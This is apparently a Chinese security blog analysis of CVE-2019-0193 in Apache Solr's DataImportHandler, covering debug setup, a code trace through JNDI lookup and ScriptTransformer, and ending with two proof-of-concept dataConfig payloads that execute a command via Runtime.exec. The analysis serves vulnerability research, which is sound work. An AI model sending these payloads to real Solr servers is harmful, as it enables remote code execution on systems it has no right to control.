1.JDK 8U20
2.下载solr 8.1.0(8.2.0需要开启enable.dih.dataConfigParam
)
https://archive.apache.org/dist/lucene/solr/8.1.0/solr-8.1.0.zip
3.下载java数据库驱动jar,这里以mysql举例
https://cdn.mysql.com//Downloads/Connector-J/mysql-connector-java-8.0.17.zip
解压以后可以获得mysql-connector-java-8.0.17.jar
4.放置mysql-connector-java-8.0.17.jar
到solr-8.1.0/server/solr-webapp/webapp/WEB-INF/lib/
下
5.安装apache-ant
6.进入solr根目录运行ant idea
,即可将solr源码编译成intellij idea项目。在编译idea项目时时候可能会失败,此时可以运行ant ivy-bootstrap
7.使用idea open编译好的文件夹,等待一段时间
8.新增Remote,作如下配置
Remote
如果没有server模块,请到solr根目录下运行ant server
9.在如下位置新增xml内容
xml内容
<requestHandler name="/dataimport" class="solr.DataImportHandler">
<lst name="defaults">
<str name="config">db-data-config.xml</str>
</lst>
</requestHandler>
db-data-config.xml
<dataConfig>
<dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:${solr.install.dir}/example/example-DIH/hsqldb/ex" user="sa" />
<document>
<entity name="item" query="select * from item"
deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'">
<field column="NAME" name="name" /> <entity name="feature"
query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"
deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}">
<field name="features" column="DESCRIPTION" />
</entity>
<entity name="item_category"
query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"
deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}">
<entity name="category"
query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"
deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}">
<field column="DESCRIPTION" name="cat" />
</entity>
</entity>
</entity>
</document>
</dataConfig>
10.进入solr/solr/bin
,执行如下命令启动solr远程debug模式./solr start -p 8988 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988"
等待terminal出现
Listening for transport dt_socket at address: 8988
提示语时,点击idea的debug按钮
debug
点击以后,debugger启动,同时solr启动正常
debugger启动
solr启动正常
11.访问http://127.0.0.1:8988/solr/
即可
根据官方或者网络上的Solr DIH指南,不难得出DIH的基本xml配置如下
<dataConfig>
<dataSource name= "mysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://127.0.0.1:3306/mysql" user="root" password="root"/>
<document>
<entity name= "node">
</entity>
</document>
</dataConfig>
得到JdbcDataSource
关键字,尝试搜索相关类,最终在org.apache.solr.handler.dataimport
包内找到JdbcDataSource类
JdbcDataSource类
翻看此类发现jndiName
属性,猜测该类可能有JNDI注入的可能性。在JdbcDataSource类中搜索jndiName
,找到if (jndiName != null)
相关代码片段。尝试在此处打入断点,且尝试构造xml写入配置进行debug。
debug
跟踪该断点,直接跳转到getFromJndi
方法,随之进入InitialContext
类的对象方法lookup
lookup
执行lookup()
,可以进行JNDI注入,最终触发org.apache.solr.core.SolrCore
的execute
完成RCE
RCE
JNDI注入
根据NVD的漏洞预警和qita的指南,可以得知此次的漏洞是可以通过ScriptTransformer配合script触发的。
NVD
qita
配置DataSource有多种方式,这里以JdbcDataSource为例
DataSource
在org.apache.solr.handler.dataimport.DataImportHandler
的handleRequestBody
打上断点插入数据进行debug
发现会进入下面的判断体
判断体
这里我们的请求的command为full-import
full-import
随即进入maybeReloadConfiguration
,由于dataconfig不为空,使用loadDataConfig
加载
loadDataConfig
随后使用readFromXml
加载配置文件中提交的数据,使用getText
获得function
getText
最后获取到所有数据以后,返回一个DIHConfiguration
对象,当debug为ture执行runCmd方法
debug为ture
在判断command为full-import时,执行 this.doFullImport(sw, reqParams);
doFullImport
在doFullImport
中存在this.docBuilder.execute();
,将得到一个EntityProcessorWrapper
对象——epw
epw中的nextRow
中存在applyTransformer()
转换脚本,而其使用的是相应Transformer的transformRow
applyTransformer
根据官方文档,ScriptTransformer允许多种Java支持的脚本语言调用,如Javascript、JRuby、Jython、Groovy和BeanShell等
官方文档
而在solr中,JS的默认引擎是Nashorn
Nashorn
使用scriptEngine.eval(scriptText);
取出具体脚本语言和我们要执行的代码
取出
最后调用return this.engine == null ? row : this.engine.invokeFunction(this.functionName, row, context);
调用
发现这里调用的invokeFunction其实是javax.script.Invocable
的invokeFunction
javax.script.Invocable
最终RCE触发成功
RCE触发成功
调用栈如下:
调用栈
JdbcDataSource poc
<dataConfig>
<dataSource name= "mysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://127.0.0.1:3306/mysql" user="root" password="root"/>
<script ><![CDATA[java.lang.Runtime.getRuntime().exec("open -a Calculator");]]>
</script>
<document>
<entity name= "poc" query= "SELECT 1" transformer= "script:"/>
</document>
</dataConfig>
URLDataSource poc
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[ java.lang.Runtime.getRuntime().exec("open -a Calculator");
]]></script>
<document>
<entity name="poc"
url="https://stackoverflow.com/feeds"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:" />
</document>
</dataConfig>
pyn3rd
用Intellij idea搭建solr调试环境:
https://www.cnblogs.com/jeniss/p/5995921.html
SolrでDataImportHandlerのTransformerをJavaScriptで書く:
https://qiita.com/nanakenashi/items/fc613d5b9deec5d2bed7
nvd CVE-2019-0193:
https://nvd.nist.gov/vuln/detail/CVE-2019-0193
Solr Ref Guide 8.1:
https://lucene.apache.org/solr/guide/8_1/uploading-structured-data-store-data-with-the-data-import-handler.html
发现 | 发掘
为随时发生的网安动态发声
资讯|干货|案例|威胁|动态